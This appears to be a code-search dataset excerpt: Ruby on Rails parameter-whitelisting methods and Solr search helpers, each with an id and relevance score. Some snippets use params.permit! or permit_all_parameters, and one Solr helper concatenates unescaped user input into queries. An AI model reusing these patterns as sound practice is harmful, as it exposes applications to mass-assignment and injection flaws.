skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6292148", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6290449", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6290076", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62894756", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283177", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242471", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62382483", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6217549", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214457", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6209053", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6193042", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6177802", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6174604", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61714715", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6161512", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151757", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6150663", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61461", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61213595", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106206", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6105114", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6089039", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081015", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071004", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6019971", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.601788", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6011056", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6010898", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.6001556", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6001049", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59943926", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992201", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59909594", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5990628", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5980841", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669393", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59589154", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958826", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5957911", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957385", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953072", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.59526145", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5943361", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59386164", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933856", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59292704", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.59254247", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5924164", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59167904", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59088355", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907542", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59064597", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.5906243", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5898226", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589687", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5896091", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5894501", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5894289", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5891739", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58860534", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5882406", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.587974", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.58738774", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5869024", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58679986", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.5867561", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5865932", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5864461", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58639693", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58617616", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5861436", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5860451", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58602303", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854586", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58537364", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850427", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850199", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
668562aebad16d1dd3bf1f15abf5e850
Performs search using rsolr
[ { "docid": "be39fb4d26957d65e341f326a3304fe4", "score": "0.73434454", "text": "def search(params=nil)\n rsolr.get select, :params => solr_params\n end", "title": "" } ]
[ { "docid": "f694d26c5b8a992e76c06db5fe78231b", "score": "0.78351754", "text": "def run_solr\n @solr = Sunspot.new_search(Document)\n generate_search\n build_pagination\n @solr.execute\n @total = @solr.total\n @results = @solr.results\n end", "title": "" }, { "docid": "0be81af2cc64a5bf023bf889812c7d3d", "score": "0.78098345", "text": "def search\n @query = params[:query].gsub(/[\\'\\\"]/, \"\")\n info \"Query : #{@query}\"\n @query_did = [get_user_id(),@query].join(\" \").to_id\n \n @search_results = SolrSearcher.new.search_by_keyword( @query, :doc_only=>true, :raw=>true)#[display_range(params[:page])]#search_remote('k', @query)\n if !@search_results\n flash[:notice] = \"Invalid query!\"\n if !during_game?\n redirect_to :action=>:search \n elsif query_limit_reached?\n redirect_to :action=>:request_document, :skip=>true \n else\n redirect_to :action=>:start_search \n end\n return\n end\n #debugger\n @rank_list = @search_results.hits.map{|e|{:item=>e.instance, :id=>e.instance.id, :score=>e.score}}\n @query_doc = Item.find_or_create(@query, 'query', :did=>@query_did, \n :uri=>request.url, :content=>@rank_list.map{|e|e[:item].title}.join(\"\\n\")) \n if during_game?\n process_search_result(@rank_list.map{|e|e[:id]}, @query_doc.id, @query)\n end\n end", "title": "" }, { "docid": "1244a43d3cdabfe9ebd01716637a6622", "score": "0.76712364", "text": "def search(url_params = nil)\n path = blacklight_config.solr_path\n solr_params = base_solr_params(url_params)\n send_and_receive(path, solr_params)\n end", "title": "" }, { "docid": "8e722e30c605c4a8aebed20c37627755", "score": "0.76213574", "text": "def search(account, q) \n\n # send a request to /select\n response = solr.get 'select', :params => {:wt => :ruby ,:q => 'manu_exact:\"' + account +'\" AND (' + q + ')'}\n\n docs = response['response']['docs']\n results = [] \n docs.each do |doc|\n item = Hash.new\n item['id'] = doc['id']\n item['name'] = doc['name']\n item['tags'] = doc['keywords'].split(',')\n item['summary'] = doc['subject']\n item['summary'].html_safe if item['summary'] \n item['created_by'] = doc['author']\n item['updated_by'] = doc['modifier_s']\n item['created_at'] = xml_date_to_time(doc['created_at_dt'])\n item['updated_at'] = xml_date_to_time(doc['last_modified'])\n \n created_by=Hash.new\n created_by[:name] = doc['author']\n created_by[:date] = xml_date_to_time(doc['created_at_dt']) || Time.new #fudge for old data\n item[:created] = created_by\n if doc['modifier_s']\n updated_by=Hash.new\n updated_by[:name] = doc['modifier_s']\n updated_by[:date] = xml_date_to_time(doc['last_modified'])\n item[:updated] = updated_by\n end\n item[:last_modified] = item[:updated] || item [:created]\n results << item\n end\n return results\n end", "title": "" }, { "docid": "358ac69729153b664b31a8296d8a7e7d", "score": "0.7561781", "text": "def search(params = {})\n RLetters::Solr::Connection.search(params.merge(q: q,\n fq: fq,\n def_type: def_type))\n end", "title": "" }, { "docid": "b6b4350eb7ad910a2bbf2280617018c0", "score": "0.75165194", "text": "def search(url_params = nil)\n cfg = blacklight_config\n path = cfg.solr_path\n solr_params = base_solr_params(cfg, url_params)\n send_and_receive(path, solr_params)\n end", "title": "" }, { "docid": "3f31341d9274fe764572b07401f9f41c", "score": "0.74904865", "text": "def solr; MIAM.solr end", "title": "" }, { "docid": "d645801730b47ae2030b0e16381a3100", "score": "0.73451877", "text": "def search\n info params.inspect\n @query = params[:query]\n searcher = SolrSearcher.new\n @facet = {}\n @page_title = if @query == TEXT_DUMMY\n \"All Documents\"\n else\n \"Search Result for '#{@query}'\"\n end\n begin\n #debugger\n @search_results = searcher.process_request(@query, 'kwd', params.merge(:raw=>true))\n error \"search_results : #{@search_results.inspect}\" \n rescue Exception => e\n error \"Search failed!!\", e\n end\n @rank_list = @search_results.hits.map{|e|{:item=>e.instance, :id=>e.instance.id, :score=>e.score}}\n @query_doc = Item.find_or_create(@query, 'query', :uri=>request.url, \n :content=>@rank_list.map{|e|e[:item].title}.join(\"\\n\"))\n\n @facet[:source_id] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:source_id)).\n find_all{|e|e.instance}.map{|e|[\"#{e.instance.title} (#{e.count})\", e.value]} \n\n @facet[:itype_str] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:itype_str)).\n map{|e|[\"#{e.value} (#{e.count})\", e.value]}\n \n @facet[:basedate] = searcher.process_request(@query, 'kwd', params.merge(:facet=>:basedate)).\n find_all{|e|Time.now - e.value < 86400*7}.map{|e|[\"#{e.value.to_date} (#{e.count})\", e.value]}.reverse\n\n #debugger\n Item.metadata_fields(params[:facet_itype_str]).each do |field, type|\n @facet[field] = searcher.process_request(@query, 'kwd', params.merge(:facet=>field)).\n map{|e|[\"#{e.value} (#{e.count})\", e.value]}\n end\n #@docs = Item.find(@rank_list.map{|e|e[0]}).map_hash{|d|[d.id, d]}\n #debugger\n end", "title": "" }, { "docid": "58c67b2f0af826e287ff794904fa06cf", "score": "0.73120755", "text": "def search\n search_parameters = ::Solr::Params.new\n\n yield(search_parameters)\n\n params = search_parameters.to_h\n\n # If making a search use the /search handler otherwise use /select. /select\n # queries with just filters are faster than /search queries.\n handler = params[:q].blank? ? 'select' : 'search'\n\n solr.post(handler, params: params)\n end", "title": "" }, { "docid": "22b38c974ae9ba7d3b3bb7a35a43b321", "score": "0.7286762", "text": "def query_solr(extra_params={})\n solr.find({\n :qt => :search,\n :q => params[:q],\n :phrase_filters => params[:f],\n :per_page => self.per_page,\n :page => params[:page],\n :sort => self.sort_by\n }.merge(extra_params))\n end", "title": "" }, { "docid": "a43347f69da00d8745db2338f8f04e66", "score": "0.7219609", "text": "def search_for(keywords, options = {})\n solr_server.find(keywords, options)\n end", "title": "" }, { "docid": "f13efb3a7ce963a34056911ef205cc5e", "score": "0.7176488", "text": "def index\n page = params[:page].to_i.lbound(0)\n per_page = (current_user.try(:per_page) ||\n params[:per_page].try(:to_i) || 10).bound(10, 100)\n\n # Default sort to relevance if there's a search, otherwise year\n if params[:precise] || params[:q]\n sort = 'score desc'\n else\n sort = 'year_sort desc'\n end\n sort = params[:sort] if params[:sort]\n\n solr_query = search_params_to_solr_query(params)\n solr_query.merge!(sort: sort,\n start: page * per_page,\n rows: per_page)\n\n # Get the documents\n @result = RLetters::Solr::Connection.search(solr_query)\n end", "title": "" }, { "docid": "6633ffc614f976a99d6c80e07b50d465", "score": "0.7163134", "text": "def do_local_indexing(solr_doc); end", "title": "" }, { "docid": "69e80b8319cabfc9c4d470752cc89356", "score": "0.7159249", "text": "def api_query_solr(searchterm, start, rows, sort, username, fq, parent_url, requrl = '')\n url = URI.parse(APP_CONFIG[:solr_server])\n connection = Net::HTTP.new(url.host, url.port)\n #follower = Follower.followings(username,1).collect {|sm| sm.following_id } << username\n follower = Follower.followings(username,1) << username\n followerstr = follower.join(\" \")\n\n followers_boost = follower.collect { |f|\n \"(id:person-#{f})^20\"\n }\n\n usertags = Usertags.top_tags(username)\n\n followers_boost = followers_boost + usertags.collect do |t|\n t[0] = t[0].gsub(\"&\", \"\")\n \"(tags:#{t[0]})^#{t[1]}\"\n end\n\n usertags_params = ''\n\n strsort = ''\n if(sort == 'ctd')\n strsort = 'createdtime desc'\n elsif(sort == 'cta')\n strsort = 'createdtime asc'\n elsif(sort == 'cba')\n strsort = 'createdby asc'\n end\n\n faceters = \"&facet=true&facet.field=type&facet.field=createdby&facet.field=extension&facet.field=metadata&facet.field=fileauthors&facet.mincount=1&facet.query=createdtime:[NOW-1HOUR TO NOW]&facet.query=createdtime:[NOW-1DAY TO NOW]&facet.query=createdtime:[NOW-7DAYS TO NOW]&facet.query=createdtime:[NOW-1MONTH TO NOW]&facet.query=createdtime:[NOW-1YEAR TO NOW]\"\n if true\n #always include external links description for now\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n else\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n end\n\n parenturl = ''\n if parent_url.present?\n parenturl = \" url:#{parent_url}/*\"\n end\n\n logger.info 'query term...........' + queryterm.inspect\n\n begin\n if fq.to_s != ''\n requrl = URI.unescape(requrl.sub(/q=([^&]*)&/, \"\"))\n\n selectresults = \"((type:person) OR (type:file AND location:publish))\"\n strparams = URI.escape(\"defType=dismax&qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+\"&rows=\"+rows.to_s+\"&wt=ruby&indent=on\"+faceters+\"&sort=\"+strsort+\"&q=(\" + queryterm + \")&\" + requrl + \" \" + selectresults + parenturl).gsub(\"__x__\", \"%2B\")\n logger.info 'path1...........' + url.path + \"/select?\" + strparams\n result = connection.post(url.path + \"/select\", strparams)\n\n else\n\n selectresults = \"((type:person) OR (type:file AND location:publish))\"\n strparams = URI.escape(\"defType=dismax&qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+\"&rows=\"+rows.to_s+\"&wt=ruby&indent=on\"+faceters+\"&sort=\"+strsort+\"&q=(\" + queryterm + \")&fq=\" + selectresults + parenturl).gsub(\"__x__\", \"%2B\")\n logger.info 'path2...........' + url.path + \"/select?\" + strparams\n result = connection.post(url.path + \"/select\", strparams)\n\n end\n\n data = eval(result.body)\n\n raise \"Bad Request\" if result.class.to_s == \"Net::HTTPBadRequest\"\n\n resultdum = connection.get(url.path + URI.escape(\"/spell?omitHeader=true&version=2.2&wt=ruby&spellcheck=true&spellcheck.collate=true&spellcheck.build=true&q=+\"+searchterm+\"\"))\n datadum = eval(resultdum.body)\n rescue => e\n data = Hash.new\n datadum = Hash.new\n end\n return data, datadum\n end", "title": "" }, { "docid": "07c77c87b20e581343804f8c9f9df297", "score": "0.71576345", "text": "def query_solr(user_params = params || {}, extra_controller_params = {})\n solr_params = self.solr_search_params(user_params).merge(extra_controller_params)\n\n solr_repository.search(solr_params)\n end", "title": "" }, { "docid": "1a3d6b0ede7636e16afa9815c814229e", "score": "0.7151398", "text": "def solr_search(*args, &block)\n Sunspot.search(Course, args, block)\n end", "title": "" }, { "docid": "fb77b041ff010645ea645b34ed4cd790", "score": "0.71462655", "text": "def search(q)\n q=build_q(q)\n if q.empty?\n # don't perform empty queries\n return []\n end\n _, list = search_results({q: q }, [\n :default_solr_parameters,\n :add_query_to_solr])\n translate_results(list)\n end", "title": "" }, { "docid": "2818760d2d74167b9c7bdedd0c6aa4af", "score": "0.7102956", "text": "def find(*args)\n # In later versions of Rails, the #benchmark method can do timing\n # better for us. \n benchmark(\"Solr fetch\", level: :debug) do\n solr_params = args.extract_options!\n path = args.first || blacklight_config.solr_path\n solr_params[:qt] ||= blacklight_config.qt\n # delete these parameters, otherwise rsolr will pass them through.\n key = blacklight_config.http_method == :post ? :data : :params\n res = blacklight_solr.send_and_receive(path, {key=>solr_params.to_hash, method:blacklight_config.http_method})\n \n solr_response = Blacklight::SolrResponse.new(res, solr_params, solr_document_model: blacklight_config.solr_document_model)\n\n Rails.logger.debug(\"Solr query: #{solr_params.inspect}\")\n Rails.logger.debug(\"Solr response: #{solr_response.inspect}\") if defined?(::BLACKLIGHT_VERBOSE_LOGGING) and ::BLACKLIGHT_VERBOSE_LOGGING\n solr_response\n end\n rescue Errno::ECONNREFUSED => e\n raise Blacklight::Exceptions::ECONNREFUSED.new(\"Unable to connect to Solr instance using #{blacklight_solr.inspect}\")\n end", "title": "" }, { "docid": "d41484bf894923db9cd9363132f275b9", "score": "0.7096787", "text": "def solr_search(options = {}, &block)\n solr_execute_search(options) do\n Sunspot.new_search(self, &block)\n end\n end", "title": "" }, { "docid": "5b2b1d0224c3722d2441eaf60e2a2307", "score": "0.7094624", "text": "def run_search\n\t\t\tsearch.search\n\t\tend", "title": "" }, { "docid": "85ba5181cd84884e954280f33277fdfc", "score": "0.7070483", "text": "def test_find_by_solr_ruby\n ['ruby', 'dummy', 'name:ruby', 'name:dummy', 'name:ruby AND author:peter',\n 'author:peter AND ruby', 'peter dummy'].each do |term|\n records = Book.find_by_solr term\n assert_equal 1, records.total\n assert_equal \"Peter McPeterson\", records.docs.first.author\n assert_equal \"Ruby for Dummies\", records.docs.first.name\n assert_equal ({\"id\" => 2,\n \"category_id\" => 2,\n \"name\" => \"Ruby for Dummies\",\n \"author\" => \"Peter McPeterson\", \"published_on\" => (Date.today - 2.years), \"type\" => nil}), records.docs.first.attributes\n end\n end", "title": "" 